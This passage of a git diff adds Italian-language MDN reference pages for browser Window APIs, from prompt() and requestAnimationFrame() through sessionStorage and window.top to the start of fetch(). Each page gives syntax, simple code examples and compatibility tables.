+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
diff --git a/files/it/web/api/window/prompt/index.html b/files/it/web/api/window/prompt/index.html
new file mode 100644
index 0000000000..a3336c95be
--- /dev/null
+++ b/files/it/web/api/window/prompt/index.html
@@ -0,0 +1,51 @@
+---
+title: Window.prompt()
+slug: Web/API/Window/prompt
+translation_of: Web/API/Window/prompt
+---
+<div>{{APIRef}}</div>
+
+<p>Mostra una finestra di dialogo che chiede all'utente di inserire del testo.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval"><i>input</i> = window.prompt(
+<i>testo</i>,
+<i>valore</i>);
+</pre>
+
+<ul>
+ <li><code>input</code> è una stringa contenente il testo inserito dall'utente, oppure <code>null</code> se l'utente ha cliccato su "Cancella"</li>
+ <li><code>testo</code> è una stringa di testo da mostrare all'utente</li>
+ <li><code>valore</code> è una stringa contenente il valore che deve essere mostrato di default nel campo di testo; è un parametro opzionale</li>
+</ul>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<pre class="eval">var segno = prompt("Di che segno sei?");
+if (segno.toLowerCase() == "scorpione")
+   alert("Ma dai!.. anch'io!!!");
+</pre>
+
+<p>Quando l'utente clicca il bottone OK, viene restituito il testo che ha digitato. Se l'utente clicca su OK senza aver inserito del testo, viene restituita una stringa vuota. Se invece l'utente clicca su Cancella, la funzione restituisce <code>null</code>.</p>
+
+<h2 id="Note" name="Note">Note</h2>
+
+<p>Una finestra di dialogo contiene un campo di testo di una sola riga, un bottone OK e un bottone Cancella. La funzione restituisce il testo (eventualmente vuoto) inserito dall'utente nel campo di testo.</p>
+
+<p>A prompt dialog contains a single-line textbox, a Cancel button, and an OK button, and returns the (possibly empty) text the user inputted into that textbox.</p>
+
+<p>Le finestre di dialogo sono finestre modali, cioè impediscono all'utente di permettere al resto dell'interfaccia del programma finchè la finestra non è chiusa. Non si dovrebbe abusare delle funzioni che creano questo tipo di finestre.</p>
+
+<p>I programmatori che utilizzano Chrome (per esempio per le estensioni) dovrebbero utilizzare u netidi di <a href="it/NsIPromptService">nsIPromptService</a>, invece di alert.</p>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>HTML5</p>
+
+<h2 id="Altri_metodi" name="Altri_metodi">Altri metodi</h2>
+
+<ul>
+ <li>{domxref("window.alert", "alert")}}</li>
+ <li>{{domxref("window.confirm", "confirm")}}</li>
+</ul>
diff --git a/files/it/web/api/window/requestanimationframe/index.html b/files/it/web/api/window/requestanimationframe/index.html
new file mode 100644
index 0000000000..f3c835b671
--- /dev/null
+++ b/files/it/web/api/window/requestanimationframe/index.html
@@ -0,0 +1,115 @@
+---
+title: window.requestAnimationFrame()
+slug: Web/API/Window/requestAnimationFrame
+tags:
+  - API
+  - Animations
+  - Animazioni
+  - DOM
+  - DOM Reference
+  - Drawing
+  - Graphics
+  - Performance
+  - Reference
+  - Window
+  - requestAnimationFrame
+translation_of: Web/API/window/requestAnimationFrame
+---
+<div>{{APIRef}}</div>
+
+<div>Il metodo <strong><code>window.requestAnimationFrame()</code></strong>indica al browser che intendi eseguire un'animazione e desideri che il browser richiami una funzione specifica per aggiornare un'animazione prima che venga eseguito nuovamente il render del browser. Il metodo accetta una funzione di callback come argomento che verrà eseguita prima del nuovo render del browser.</div>
+
+<div> </div>
+
+<div class="note"><strong>Nota:</strong> la funzione di callback deve chiamare a sua volta <code>requestAnimationFrame() </code>se vuoi animare un'altro frame alla successiva azione di render del browser.</div>
+
+<p>Dovresti chiamare questo metodo ogni qualvolta intendi aggiornare lo stato della tua animazione sul monitor. In questo modo la tua richiesta verrà eseguita prima che il browser esegua nuvamente il render della pagina. Il numero di esecuzioni della callback è generalmente di 60 volte al secondo, ma di solito rispetta il refresh-rate del display per quasi tutti i browser secondo le raccomandazioni W3C.<br>
+ L'esecuzione di requestAnimationFrame() vengono messe in pausa in quasi tutti i browser quando la pagina è eseguita in un tab non visibile on in un {{ HTMLElement("iframe") }} non visibile in modo da migliorare le performance e l'utilizzo della batteria.</p>
+
+<p>Alla funzione di callback viene passato come singolo argomento il parametro {{domxref("DOMHighResTimeStamp")}} che indica i momento corrente in cui viene eseguito dalla coda di <code>requestAnimationFrame()</code><br>
+ Nel caso di callback multiple in un singolo frame, ogni funzione riceve lo stesso timestamp anche se è trascorso del tempo durante il calcolo di ogni processo.<br>
+ Il timestamp è un numero decimale, in millisecondi, con una precisione di 1ms (1000µs).</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox">window.requestAnimationFrame(callback);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parametri</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Il parametro che specifica la funzione di callback da richiamare prima che venga eseguito il render successivo della pagina.<br>
+ La funzione accetta un solo parametro, {{domxref("DOMHighResTimeStamp")}}, che indica il momento esatto (nel formato {{domxref('performance.now()')}}) in cui <code>requestAnimationFrame()</code> inizia la sua esecuzione.</dd>
+</dl>
+
+<h3 id="Valori_di_ritorno">Valori di ritorno</h3>
+
+<p>Un valore intero di tipo <code>long</code>, l'id della richiesta che identifica univocamente la callback specifica nella lista di callback. Questo è un valore assoluto, ma non dovresti fare nessun tipo di ragionamento sulla base di questo valore. Puoi, però, usare questo valore per passarlo a {{domxref("window.cancelAnimationFrame()")}} in modo da  rimuovere/cancellare la callback dalla coda di richieste da eseguire.</p>
+
+<h2 id="Notes" name="Notes">Esempio</h2>
+
+<pre class="brush: js">var start = null;
+var element = document.getElementById('SomeElementYouWantToAnimate');
+element.style.position = 'absolute';
+
+function step(timestamp) {
+  if (!start) start = timestamp;
+  var progress = timestamp - start;
+  element.style.left = Math.min(progress / 10, 200) + 'px';
+  if (progress &lt; 2000) {
+    window.requestAnimationFrame(step);
+  }
+}
+
+window.requestAnimationFrame(step);
+</pre>
+
+<h2 id="Specification" name="Specification">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#animation-frames', 'requestAnimationFrame')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>
+    <p>Nessun cambiamento. Sostituisce il precedente.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('RequestAnimationFrame', '#dom-windowanimationtiming-requestanimationframe', 'requestAnimationFrame')}}</td>
+   <td>{{Spec2('RequestAnimationFrame')}}</td>
+   <td>
+    <p>Definizione iniziale</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_del_Browser">Compatibilità del Browser</h2>
+
+<div>
+
+
+<p>{{Compat("api.Window.requestAnimationFrame")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Leggi anche</h2>
+
+<ul>
+ <li>{{domxref("Window.mozAnimationStartTime")}}</li>
+ <li>{{domxref("Window.cancelAnimationFrame()")}}</li>
+ <li><a href="http://weblogs.mozillazine.org/roc/archives/2010/08/mozrequestanima.html">mozRequestAnimationFrame</a> - Blog post</li>
+ <li><a href="http://paulirish.com/2011/requestanimationframe-for-smart-animating/">requestAnimationFrame for smart animating</a> - Blog post</li>
+ <li><a href="http://hacks.mozilla.org/2011/08/animating-with-javascript-from-setinterval-to-requestanimationframe/">Animating with javascript: from setInterval to requestAnimationFrame</a> - Blog post</li>
+ <li><a href="http://blogs.msdn.com/b/ie/archive/2011/07/05/using-pc-hardware-more-efficiently-in-html5-new-web-performance-apis-part-1.aspx">Using PC Hardware more efficiently in HTML5: New Web Performance APIs, Part 1</a> - Blog post</li>
+ <li><a href="http://www.testufo.com/#test=animation-time-graph" title="http://www.testufo.com/#test=animation-time-graph">TestUFO: Test your web browser for requestAnimationFrame() Timing Deviations</a></li>
+ <li>Paul Irish: <a class="external external-icon" href="http://updates.html5rocks.com/2012/05/requestAnimationFrame-API-now-with-sub-millisecond-precision">requestAnimationFrame API: now with sub-millisecond precision</a></li>
+</ul>
diff --git a/files/it/web/api/window/resizeby/index.html b/files/it/web/api/window/resizeby/index.html
new file mode 100644
index 0000000000..ee662251c4
--- /dev/null
+++ b/files/it/web/api/window/resizeby/index.html
@@ -0,0 +1,35 @@
+---
+title: Window.resizeBy()
+slug: Web/API/Window/resizeBy
+translation_of: Web/API/Window/resizeBy
+---
+<p>{{APIRef}}</p>
+
+<p>Aumenta o diminuisce le dimensioni della finestra di un certo numero di pixel.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval">window.resizeBy(<i>xDelta</i>,
+<i>yDelta</i>)
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<ul>
+ <li><code>xDelta</code> è il numero di pixel da aggiungere orizzontalmente</li>
+ <li><code>yDelta</code> è il numero di pixel da aggiungere verticalmente</li>
+</ul>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<pre>// rimpicciolisce la finestra
+window.resizeBy(-200, -200);
+</pre>
+
+<h2 id="Note" name="Note">Note</h2>
+
+<p>Questo metodo ridimensiona la finestra relativamente alle sue dimensioni attuali. Per ridimensionare la finestra in termini assoluti, è possibile utilizzare <a href="it/DOM/window.resizeTo">window.resizeTo</a>.</p>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
diff --git a/files/it/web/api/window/resizeto/index.html b/files/it/web/api/window/resizeto/index.html
new file mode 100644
index 0000000000..c716aa0411
--- /dev/null
+++ b/files/it/web/api/window/resizeto/index.html
@@ -0,0 +1,39 @@
+---
+title: Window.resizeTo()
+slug: Web/API/Window/resizeTo
+translation_of: Web/API/Window/resizeTo
+---
+<p>{{APIRef}}</p>
+
+<p>Ridimensiona la finestra dinamicamente.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">window.resizeTo(<i>larghezza</i>,
+<i>altezza</i>)
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<ul>
+ <li><code>larghezza</code> è un intero che rappresenta la nuova larghezza in pixel</li>
+ <li><code>altezza</code> è un intero che rappresenta la nuova altezza in pixel</li>
+</ul>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre> // questa funzione ridimensiona la finestra
+ // e fa in modo che occupi metà dello schermo
+ function ridimensiona() {
+   window.resizeTo(window.screen.availWidth/2,
+      window.screen.availHeight/2);
+ }
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Si veda anche <a href="it/DOM/window.resizeBy">window.resizeBy</a>.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
diff --git a/files/it/web/api/window/sessionstorage/index.html b/files/it/web/api/window/sessionstorage/index.html
new file mode 100644
index 0000000000..06c3b48c4a
--- /dev/null
+++ b/files/it/web/api/window/sessionstorage/index.html
@@ -0,0 +1,138 @@
+---
+title: Window.sessionStorage
+slug: Web/API/Window/sessionStorage
+translation_of: Web/API/Window/sessionStorage
+---
+<p>{{APIRef()}}</p>
+
+<p>La proprietà <strong><code>sessionStorage</code> </strong>permette di accedere all'oggetto di sessione {{domxref("Storage")}}. <code>sessionStorage</code> è simile a  {{domxref("Window.localStorage")}}, l'unica differenza è che mentre i dati salvati in <code>localStorage</code> non hanno scadenza, i dati in <code>sessionStorage</code> vengono ripuliti ogniqualvolta la sessione della pagina termina. La sessione della pagina dura fino a quando il browser è aperto e sopravvive alla ricarica della pagina e al ripristino. <strong>L'apertura di una pagina in un nuovo tab o in una nuova finestra implica l'apertura di una nuova sessione, il che differisce da come funzionano i cookie di sessione.</strong></p>
+
+<p>Va ricordato che i dati memorizzati nel <code>sessionStorage</code> o <code>localStorage</code> <strong>sono specifici per il protocollo della pagina</strong>.</p>
+
+<pre class="brush: js">// Salva i dati nel sessionStorage
+sessionStorage.setItem('key', 'value');
+
+// Recupare i dati dal sessionStorage
+var data = sessionStorage.getItem('key');</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Un oggetto {{domxref("Storage")}}.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>Il seguente esempio accede all'oggetto di sessione corrente  {{domxref("Storage")}} e vi aggiunge un elemento tramite  {{domxref("Storage.setItem()")}}.</p>
+
+<pre class="brush: js">sessionStorage.setItem('myCat', 'Tom');</pre>
+
+<p>Il seguente esempio salva automaticamente il contenuto di un campo di testo e se la pagina del browser viene ricaricata, ripristina il contenuto del campo di testo in modo da non perdere nessuna digitazione.</p>
+
+<pre class="brush: js">// Ottiene il campo di testo
+var field = document.getElementById("field");
+
+// Verifica se ha un valore di salvataggio automatico (autosave)
+// (succederò solo se la pagina viene ricaricata accidentalmente)
+if (sessionStorage.getItem("autosave")) {
+  // Ripristina il contenuto del campo di testo
+  field.value = sessionStorage.getItem("autosave");
+}
+
+// Rimane in ascolto di cambiamenti sul campo di testo
+field.addEventListener("change", function() {
+  // E salva i risultati nell'oggetto sessionStorage
+  sessionStorage.setItem("autosave", field.value);
+});</pre>
+
+<p> </p>
+
+<div class="note">
+<p><strong>Nota</strong>: Fare riferimento a <a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a> per un esempio completo.</p>
+</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#the-sessionstorage-attribute', 'sessionStorage')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto Base</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Ogni browser ha un livello di supporto differente per localStorage e sessionStorage. </p>
+
+<div class="note">
+<p><strong>Nota: </strong>da iOS 5.1, Safari Mobile salva i dati del localStorage nella directory cache, che è soggetta a pulizie occasinonali, tipicamente quando lo c'è poco spazio disponibile.</p>
+</div>
+
+<h2 id="Vedere_anche">Vedere anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></li>
+ <li>{{domxref("Window.localStorage")}}</li>
+</ul>
diff --git a/files/it/web/api/window/sidebar/index.html b/files/it/web/api/window/sidebar/index.html
new file mode 100644
index 0000000000..280b5dcce3
--- /dev/null
+++ b/files/it/web/api/window/sidebar/index.html
@@ -0,0 +1,56 @@
+---
+title: Window.sidebar
+slug: Web/API/Window/sidebar
+tags:
+  - DOM
+  - NeedsTranslation
+  - Non-standard
+  - Property
+  - Reference
+  - TopicStub
+  - Window
+translation_of: Web/API/Window/sidebar
+---
+<div>{{APIRef}} {{Non-standard_header}}</div>
+
+<p>Returns a sidebar object, which contains several methods for registering add-ons with the browser.</p>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>The sidebar object returned has the following methods:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Method</th>
+   <th>Description (SeaMonkey)</th>
+   <th>Description (Firefox)</th>
+  </tr>
+  <tr>
+   <td><code>addPanel(<var>title</var>, <var>contentURL</var>, "")</code></td>
+   <td>Adds a sidebar panel.</td>
+   <td rowspan="2">Obsolete since Firefox 23 (only present in SeaMonkey).<br>
+    End users can use the "load this bookmark in the sidebar" option instead. Also see <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Creating_a_Firefox_sidebar">Creating a Firefox sidebar.</a></td>
+  </tr>
+  <tr>
+   <td><code>addPersistentPanel(<var>title</var>, <var>contentURL</var>, "")</code></td>
+   <td>Adds a sidebar panel, which is able to work in the background.</td>
+  </tr>
+  <tr>
+   <td><code>AddSearchProvider(<em>descriptionURL)</em></code></td>
+   <td colspan="2">Installs a search provider (OpenSearch). <a href="/en-US/docs/Web/API/Window/sidebar/Adding_search_engines_from_Web_pages#Installing_OpenSearch_plugins" title="Adding_search_engines_from_web_pages">Adding OpenSearch search engines </a>contains more details. Added in Firefox 2.</td>
+  </tr>
+  <tr>
+   <td><code>addSearchEngine(<var>engineURL</var>, <var>iconURL</var>, <var>suggestedTitle</var>, <var>suggestedCategory</var>)</code> {{Obsolete_inline(44)}}</td>
+   <td colspan="2">Installs a search engine (Sherlock). <a href="/en-US/docs/Web/API/Window/sidebar/Adding_search_engines_from_Web_pages#Installing_Sherlock_plugins" title="Adding_search_engines_from_web_pages">Adding Sherlock search engines </a>contains more details.</td>
+  </tr>
+  <tr>
+   <td><code>IsSearchProviderInstalled(<em>descriptionURL)</em></code></td>
+   <td colspan="2">Indicates if a specific search provider (OpenSearch) is installed.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<p>Mozilla-specific. Not part of any standard.</p>
diff --git a/files/it/web/api/window/sizetocontent/index.html b/files/it/web/api/window/sizetocontent/index.html
new file mode 100644
index 0000000000..4880ff9fbd
--- /dev/null
+++ b/files/it/web/api/window/sizetocontent/index.html
@@ -0,0 +1,15 @@
+---
+title: window.sizeToContent
+slug: Web/API/Window/sizeToContent
+translation_of: Web/API/Window/sizeToContent
+---
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Ridimensiona automaticamente la finestra perchè si adatti al suo contenuto.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval">window.sizeToContent()
+</pre>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre class="eval">window.sizeToContent();
+</pre>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
diff --git a/files/it/web/api/window/status/index.html b/files/it/web/api/window/status/index.html
new file mode 100644
index 0000000000..4b008c0afc
--- /dev/null
+++ b/files/it/web/api/window/status/index.html
@@ -0,0 +1,26 @@
+---
+title: Window.status
+slug: Web/API/Window/status
+translation_of: Web/API/Window/status
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Legge o imposta il testo della barra di stato della finestra a cui si riferisce l'oggetto <code>window</code>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>stringa</i> = window.status
+window.status =
+<i>stringa</i>
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">while ( attesa ) {
+   window.status = "Sto caricando...";
+}
+</pre>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
diff --git a/files/it/web/api/window/statusbar/index.html b/files/it/web/api/window/statusbar/index.html
new file mode 100644
index 0000000000..6eb17fc2d8
--- /dev/null
+++ b/files/it/web/api/window/statusbar/index.html
@@ -0,0 +1,32 @@
+---
+title: window.statusbar
+slug: Web/API/Window/statusbar
+translation_of: Web/API/Window/statusbar
+---
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce l'oggetto <code>statusbar</code>, che rappresenta la barra di stato, la cui visibilità può essere disabilitata nel browser.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>oggetto</i> = window.statusbar
+</pre>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<p>Il seguente esempio completo mostra un possibile modo per utilizzare la proprietà <code>visible</code> dei vari oggetti "bar" (quelli che rappresentano una qualsiasi barra); mostra anche come cambiare i privilegi necessari per modificare tale proprietà.</p>
+<pre>&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Esperimenti sul DOM&lt;/title&gt;
+  &lt;script&gt;
+    // modifico lo stato della barra in questa finestra
+    netscape.security.PrivilegeManager.
+        enablePrivilege("UniversalBrowserWrite");
+    window.statusbar.visible=!window.statusbar.visible;
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;Esperimenti sul DOM&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>Quando si carica l'esempio sopra riportato, il browser mostra una finestra di avviso.</p>
+<p>Si veda anche: <a href="it/DOM/window.locationbar">window.locationbar</a>, <a href="it/DOM/window.menubar">window.menubar</a>, <a href="it/DOM/window.personalbar">window.personalbar</a>, <a href="it/DOM/window.scrollbars">window.scrollbars</a>, <a href="it/DOM/window.toolbar">window.toolbar</a></p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
diff --git a/files/it/web/api/window/stop/index.html b/files/it/web/api/window/stop/index.html
new file mode 100644
index 0000000000..f807d3b843
--- /dev/null
+++ b/files/it/web/api/window/stop/index.html
@@ -0,0 +1,17 @@
+---
+title: window.stop
+slug: Web/API/Window/stop
+translation_of: Web/API/Window/stop
+---
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Ferma il caricamento del documento corrente.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval">window.stop()
+</pre>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre class="eval">window.stop();
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>Il metodo stop() riproduce ciò che accade quando l'utente clicca sul bottone stop del browser. Per via dell'ordine in cui vengono caricati gli script, questo metodo non può fermare il caricamento del documento in cui è contenuto, ma può fermare il caricamento di grandi immagini, nuove finestre e altri oggetti collegati al documento.</p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
diff --git a/files/it/web/api/window/top/index.html b/files/it/web/api/window/top/index.html
new file mode 100644
index 0000000000..e884cc29d3
--- /dev/null
+++ b/files/it/web/api/window/top/index.html
@@ -0,0 +1,87 @@
+---
+title: Window.top
+slug: Web/API/Window/top
+tags:
+  - API
+  - DOM
+  - Property
+  - Reference
+  - Window
+translation_of: Web/API/Window/top
+---
+<p>{{ APIRef }}</p>
+
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>Ritorna un riferimento all'oggetto window più esterno nella gerarchia.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="eval">var <em>topWindow</em> = window.top;
+</pre>
+
+<h2 id="Notes" name="Notes">Note</h2>
+
+<p>Mentre proprietà  <code style="font-style: normal;"><a href="/en/DOM/window.parent" title="en/DOM/window.parent">window.parent</a> </code>restituisce un rifermiento alla window direttamente superiore, la proprietà window.top restituisce un riferimento alla window più alta nella gerarchia delle windows (la più esterna)</p>
+
+<p>Questa proprietà è particolarmente utile quando quando si sta lavorando da una window che può avere una o più windows che la contengono, in questo modo è possibile avere un riferimento alla window più esterna</p>
+
+<h2 id="Specification" name="Specification">Specifica</h2>
+
+<p>HTML5</p>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h4 id="Gecko_notes">Gecko notes</h4>
+
+<div class="note">
+<p>Note: dalla versione <em>{{Gecko ("6.0")}}, questa proprietà è read only.</em></p>
+</div>
diff --git a/files/it/web/api/windoworworkerglobalscope/fetch/index.html b/files/it/web/api/windoworworkerglobalscope/fetch/index.html
new file mode 100644
index 0000000000..057ab069a2
--- /dev/null
+++ b/files/it/web/api/windoworworkerglobalscope/fetch/index.html
@@ -0,0 +1,167 @@
+---
+title: WindowOrWorkerGlobalScope.fetch()
+slug: Web/API/WindowOrWorkerGlobalScope/fetch
+translation_of: Web/API/WindowOrWorkerGlobalScope/fetch
+---
+<div>{{APIRef("Fetch API")}}</div>
+
+<p>Il metodo <code><strong>fetch()</strong></code> del mixin {{domxref("WindowOrWorkerGlobalScope")}} avvia il processo di recupero di una risorsa dalla rete. Questo ritorna una "promise" che si risolve all'oggetto {{domxref("Response")}} che rappresenta la risposta alla tua richiesta.</p>
+
+<p><code>WorkerOrGlobalScope</code> è implementato sia da {{domxref("Window")}} sia da {{domxref("WorkerGlobalScope")}}, ciò significa che il metodo <code>fetch()</code> è disponibile in quasi tutti i contesti nei quali potresti voler recuperare risorse..</p>
+
+<p>Una promise {{domxref("WindowOrWorkerGlobalScope.fetch","fetch()")}} responge con un {{jsxref("TypeError")}} quando viene incontrato un errore di rete, sebbene questo stia spesso a significare un errore di permessi o simili. Un controllo accurato per un <code>fetch()</code> di successo richiederebbe di controllare che la promise si sia risolta,  e anche il controllo che la proprietà {{domxref("Response.ok")}} ha valore <code>true</code>. Uno stato HTTP 404 non costituisce un errore di rete.</p>
+
+<p>Il metodo <code>fetch()</code> è controllato dalla direttiva <code>connect-src</code> della <a href="/en-US/docs/Security/CSP/CSP_policy_directives">Content Security Policy</a> piuttosto che dalla direttiva delle risorse che sta recuperando.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: I parametri del metodo <code>fetch()</code> sono identici a quelli del costruttore {{domxref("Request.Request","Request()")}}.</p>
+</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">Promise&lt;Response&gt; fetch(input[, init]);</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><em>input</em></dt>
+ <dd>Definisce la risorsa ceh vuoi recuperare. Questa può essere:
+ <ul>
+  <li>Una {{domxref("USVString")}} contenente l'URL diretto della risorsa che vuoi recuperare. Alcuni browsers accettano <code>blob:</code> e <code>data:</code> come schemi.</li>
+  <li>Un oggetto {{domxref("Request")}}.</li>
+ </ul>
+ </dd>
+ <dt><em>init</em> {{Optional_inline}}</dt>
+ <dd>Un oggetto opzioni contenente qualsiasi impostazione personalizzata che si vuole applicare alla richiesta. Le opzioni possibili sono:
+ <ul>
+  <li><code>method</code>: Il metodo di richiesta, es., <code>GET</code>, <code>POST</code>.</li>
+  <li><code>headers</code>: Qualsiasi header si voglia aggiungere alla richiesta, contenuto in un oggetto {{domxref("Headers")}} o un oggetto letterale con valori {{domxref("ByteString")}}.</li>
+  <li><code>body</code>: Qualsiasi corpo si voglia aggiungere alla richiesta: può essere un oggetto {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, o {{domxref("USVString")}}. Si noti che una richiesta che usa il metodo <code>GET</code> o <code>HEAD</code> non può avere un corpo.</li>
+  <li><code>mode</code>: La modalità che si vuole usare per la richiesta, es., <code>cors</code>, <code>no-cors</code>, o <code>same-origin</code>.</li>
+  <li><code>credentials</code>: Le credenziali che si vuole vengano usate per la richiesta: <code>omit</code>, <code>same-origin</code>, o <code>include</code>. Per inviare automaticamente dei cookies per il dominio corrente, questa opzione deve essere indicata. Iniziando da Chrome 50, questa proprietà accetta anche un'istanza {{domxref("FederatedCredential")}} o {{domxref("PasswordCredential")}}.</li>
+  <li><code>cache</code>: La modalità cache ceh si vuole usare per la richiesta: <code>default</code>, <code>no-store</code>, <code>reload</code>, <code>no-cache</code>, <code>force-cache</code>, o <code>only-if-cached</code>.</li>
